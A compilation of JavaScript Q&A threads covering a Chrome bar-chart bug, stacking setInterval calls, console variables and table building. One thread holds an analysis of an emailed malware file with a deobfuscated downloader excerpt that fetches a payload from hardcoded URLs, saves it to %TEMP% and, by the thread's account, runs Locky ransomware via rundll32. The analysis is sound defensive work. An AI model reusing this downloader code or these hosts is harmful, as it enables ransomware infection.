I built a page that uses a simple JSon table and JS/JQ to present that data. Hosted together on one sheet it works fine in both Chrome and FF. Split into seperate HTML, CSS, JS and JSON files, however, there is a slightly variable bug in Chrome.
Page: http://www.lafairclough.co.uk/JTest/index.html
Select two options from the drop down and the charts on the right should show the relative performance data from two cars (top to bottom: 0-60, 0-100, Standing Qtr and Top Speed). These are colour coded with green being the faster result and orange denoting a draw for a given variable.
The charts are made using Java to calculate and set a CSS div width. In Chrome, however, this div width is (sometimes, but often) getting calculated as a much higher figured than expected. As flows:
// Perf. BAR CHART SIZE CSS CAR A
$.getJSON("cars.json", function (data) {
$(document).ready(function () {
$('#dropdown1').change(function () {
var index = parseInt($(this).val()),
html = "<p class=\"barText\">" + " " + data.carList[index].model + " " + data.carList[index].variant + "</p>";
$(".carA060").html(html);
var index = parseInt($(this).val());
var num = data.carList[index].zero60 * 10;
$(".carA060").css('width', num + '%').show();
html = "<p class=\"barText\">" + " " + data.carList[index].model + " " + data.carList[index].variant + "</p>";
$(".carA0100").html(html);
var index = parseInt($(this).val());
var num = data.carList[index].zero100 * 5;
$(".carA0100").css('width', num + '%').show();
html = "<p class=\"barText\">" + " " + data.carList[index].model + " " + data.carList[index].variant + "</p>";
$(".carAsQTR").html(html);
var index = parseInt($(this).val());
var num = data.carList[index].sQTR * 5;
$(".carAsQTR").css('width', num + '%').show();
html = "<p class=\"barText\">" + " " + data.carList[index].model + " " + data.carList[index].variant + "</p>";
$(".carAvMAX").html(html);
var index = parseInt($(this).val());
var num = data.carList[index].vMAX * 0.5;
$(".carAvMAX").css('width', num + '%').show();
});
});
});
Any idea as to why it's going awry in Chrome would be hugely appreciated.
Thanks,
Lee.
your are passing 14.6 ( the mazda ) in your json and multiplying it by 10 for the width so thats why you are
out of bound of container change the logic of the calculation of the width and you will be fine. and the reason why in fire fox its ok and chrome not is because each browser parse the CSS differently . hope this helped
Related
I am working on a sort of clicker game where the user is able to buy upgrades. One such upgrade involves the user earning a certain amount of in-game currency per second, in this case 0.1. Unfortunately if the user decides to buy more than one of this upgrade it appears to rise exponentially. I feel like this might be because the setInterval() function is stacking each time, so that the first time it is 0.1 then the next its 0.1 + 0.2 so 0.3, then 0.3 + 0.2 + 0.1 so 0.6 and so on.
upgradePerSec1.onclick = function() {
if (presents >= cost1) {
presents -= cost1;
upgrade1Amount += 1;
totalPresentsSpent += cost1;
cost1 = Math.ceil(cost1Base *= 1.03 ** upgrade1Amount);
perSec += 0.1;
displayScore.innerHTML = format(presents) + " Presents delivered.";
cost1Disp.innerHTML = "<hr>Cost: " + format(cost1);
title.innerHTML = format(presents) + " Presents";
perSecDisp.innerHTML = formatPerSec(perSec) + " presents /s";
totalPresentsSpentDisp.innerHTML = format(totalPresentsSpent) + " Total presents spent";
setInterval(increment1, 1000);
} else {
alert("You don't have enough presents! Still need: " + format(cost1 - presents));
}
}
function increment1() {
presents += perSec;
totalPresents += perSec;
displayScore.innerHTML = format(presents) + " Presents delivered.";
totalPresentsDisp.innerHTML = format(totalPresents) + " Total presents delivered";
title.innerHTML = format(presents) + " Presents";
}
Here is some clarification for this code:
upgradePerSec1 = HTML button element
cost1 = the cost of this upgrade
perSec = variable to store the amount of "presents" per second
displayScore = an HTML label element
cost1Disp = an HTML label element
title = the browser tab title
format() = a function to format large numbers by adding in commas
totalPresents = the total presents without taking away costs (used for a statistics section)
I have tried replacing the perSec variable with just the number(obviously did not work) I have tried making the timing also rise but could not get the correct timing. Ive also searched many places on the web and could not find any helpful results. I saw one on stack overlfow but it did not apply to me.
You're right, the setInterval calls are stacking. To fix the issue, you should make sure you only call setInterval() once (e.g. by adding an if statement before that line checking if perSec === 0).
e.g.
upgradePerSec1.onclick = function() {
if (presents >= cost1) {
if (perSec === 0) {
setInterval(increment1, 1000);
}
presents -= cost1;
upgrade1Amount += 1;
totalPresentsSpent += cost1;
cost1 = Math.ceil(cost1Base *= 1.03 ** upgrade1Amount);
perSec += 0.1;
displayScore.innerHTML = format(presents) + " Presents delivered.";
cost1Disp.innerHTML = "<hr>Cost: " + format(cost1);
title.innerHTML = format(presents) + " Presents";
perSecDisp.innerHTML = formatPerSec(perSec) + " presents /s";
totalPresentsSpentDisp.innerHTML = format(totalPresentsSpent) + " Total presents spent";
} else {
alert("You don't have enough presents! Still need: " + format(cost1 - presents));
}
}
function increment1() {
presents += perSec;
totalPresents += perSec;
displayScore.innerHTML = format(presents) + " Presents delivered.";
totalPresentsDisp.innerHTML = format(totalPresents) + " Total presents delivered";
title.innerHTML = format(presents) + " Presents";
}
For example, there is a page like below.
<html>
<head>
<title>Variables!!!</title>
<script type="text/javascript">
var lookatthis = 11;
var one = 22;
var two = 3;
var add = one + two;
var minus = one - two;
var multiply = one * two;
var divide = one/two;
document.write("First No: = " + one + "<br />Second No: = " + two + " <br />");
document.write(one + " + " + two + " = " + add + "<br/>");
document.write(one + " - " + two + " = " + minus + "<br/>");
document.write(one + " * " + two + " = " + multiply + "<br/>");
document.write(one + " / " + two + " = " + divide + "<br/>");
</script>
</head>
<body>
</body>
</html>
I want to assign the javascript variable "lookatthis" on debug console.
//apologise for my ambiguous question. I would rather say,
"I want to assign new value to variable "lookatthis" on this web-page using console on explorer."
Thank you for your kind teaching.)
Open debug console and write there:
lookatthis = 20
But this get you nothing
You can use the log method:
console.log(lookatthis);
Anywhere in your script block after your initial assignment of lookatthis, you can write the value to the console with the command:
console.log(lookatthis);
You achieve it by using prompt function
var lookatthis = prompt('Type the lokaltthis value');
If what you want is to be able to 'set' the value of lookatthis, you can use an input and using jquery or pure js get the value of the input and assign it to 'lookatthis'.
Edit: You can also use in the chrome console: lookatthis=25
but as your script loads when page loads, changes will not be shown but the value will be changed
Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.
Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.
Code is too large to fit here so I posted it up on GitHub:
https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26
What the heck does this code do?
I ran it in a sandbox and it results in a console error.
Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).
So - the first run of the script (as posted on by comment) will give this code after obfuscation:
http://pastebin.com/cFuijfFS
Working on that - the code will run the following:
var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]
var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL
var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")
var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK
var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"
var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system
// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
// Check if we are in amd64
var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);
// var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
// var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
...
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]
// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
try
{
var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
break;
}
catch (e)
{
continue;
}
};
var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);
var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
// Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
if (fso[DQq + Js + Va + Vn](Nt5))
{
var Em = fso.GetFile(Nt5);
var DAb4 = Em.ShortPath;
OPr3 = DAb4+ZYz;
// check if the same dll file with ".txt" extension exists
if (fso[DQq + Js + Va + Vn](OPr3)) {
// run quite()
this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
}
}
var HFw3 = MTm6(IGv7[ETi8 + Fp]);
try
{
if (1== ENa6)
{
// Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
MBi0[BBw + Co]();
}
if (MBi0.readystate < 4)
{
// WScript["Sleep"](100);
WScript[SJl + Hj](100);
continue;
}
var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
// var Nf=WScript["CreateObject"]("ADODB.Stream")
// ADOBE_SCRIPT[open]()
Nf[NOc6]();
// ADOBE_SCRIPT[type] = 1
Nf[Aj9]=Yz;
// ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);
// Set position of the adodb.stream to 0
Nf[Hz + QWh5 + VSo5]=0;
// Save the content to the file NQf6 (the file in c:/temp)
Nf[WGa + Yh + OAk](NQf6, IDz0);
// close the file
Nf[Cz + FLv2]();
Still working on the rest, will update here with more info :)
It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P
And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.
Sadly I'm on a phone otherwise it would be a nice puzzle xD
Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..
Edit2:
Code inception!
https://jsfiddle.net/3sn6o9o9/
.
See the js output it generates, more obfuscation, we must go deeper!
To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.
I'm trying to essentially set up a button that will either copy a bunch of text that will get output to a document.getelementbyid output to help me out while at work. This is what I have so far for the output and everything works, but would love to have a button that will automatically highlight everything taken from all my input fields.
function display(){
var caller = document.getElementById("form1").value;
var ctn = document.getElementById("form2").value;
var fan = document.getElementById("form3").value;
var business = document.getElementById("form4").value;
var requestor = document.getElementById("form5").value;
var reason = document.getElementById("form6").value;
document.getElementById("output").innerHTML = "form1: " + form1 + "<br>form2: " + form2 + "<br>form3: " + form3 + "<br>form4: " + form4 + "<br>form5: " + form5 + "<br>form6: " + form6;
}
This feeds data from my input fields at the top (naturally they have different names and labels in the document, just can't copy anything proprietary here). The below codes are the button code and the paragraph code to display it when I click so that it appears on the page for me to select.
<button onclick="display();" style="width: 50px; background-color:#3ea055">Submit</button>
<p id="output"></p>
I've tried several different snippets of code online to get it to either select or copy or whatever, and it isn't working.
you dont have variables named form1 form2 etc., in the output area I've changed the values to your variable names try this
function display(){
var caller = document.getElementById("form1").value;
var ctn = document.getElementById("form2").value;
var fan = document.getElementById("form3").value;
var business = document.getElementById("form4").value;
var requestor = document.getElementById("form5").value;
var reason = document.getElementById("form6").value;
document.getElementById("output").innerHTML = "form1: " + caller + "<br>form2: " + ctn + "<br>form3: " + fan + "<br>form4: " + form4 + "<br>form5: " + requestor + "<br>form6: " + form6;
}
In the line where you print the values to the output element you need to use the variables you just filled.
document.getElementById("output").innerHTML = "form1: " + caller + "<br>form2: " + ctn+ "<br>form3: " + fan + "<br>form4: " + business + "<br>form5: " + requestor + "<br>form6: " + reason;
I am using ASP.NET to create a web app. JS, JQuery, CSS, and HTML are being used. New to web dev, so if you have some good resources to read, they would be appreciated.
I am using Google Maps API to plot some locations. I have created a sidebar which I would like to list nearby properties (eventually click-able). Here are my two concerns:
1) How can I load all properties? Currently my code only displays the first one. The following JS code only lists the last location. In HTML I am using the following label:
<label id ="SidebarLabelName"></label>
In JS:
for (i = properties.length - 1; i >= 0 ; i--) {
var displayNum = i + 1;
SidebarLabelName.text(displayNum + ") " + properties[i]);
}
2) How do I create a table that has a variable number of rows? For example, if I have 10 properties I want to show on my sidepane, then I want 10 rows. I would also like to have pages; if I have 30 properties to list, 26 items on the first page (google maps api limits alpha characters to label markers), 4 on the next.
Thanks for helping.
Question 1:
The code you have overwrites the text in SidebarLabelName for each property, thats why you see only the last property. This can be fixed by following code:
var allprops = "";
for (i = properties.length - 1; i >= 0 ; i--) {
var displayNum = i + 1;
allprops = allprops + "(" + displayNum + ") " + properties[i]);
}
SidebarLabelName.text(allprops);
Question 2:
One of the ways to sovle this is to use the same approach as above:
HTMLCode
<div id ="tableDiv"></div>
and JS code:
var allpropRows = "";
for (i = properties.length - 1; i >= 0 ; i--) {
var displayNum = i + 1;
allpropRows = allpropRows + "<tr> <td> (" + displayNum + ") " + properties[i] + "</td> </tr>");
}
tableDiv.html( "<table>" + allpropRows + "</table>");
Hope this helps!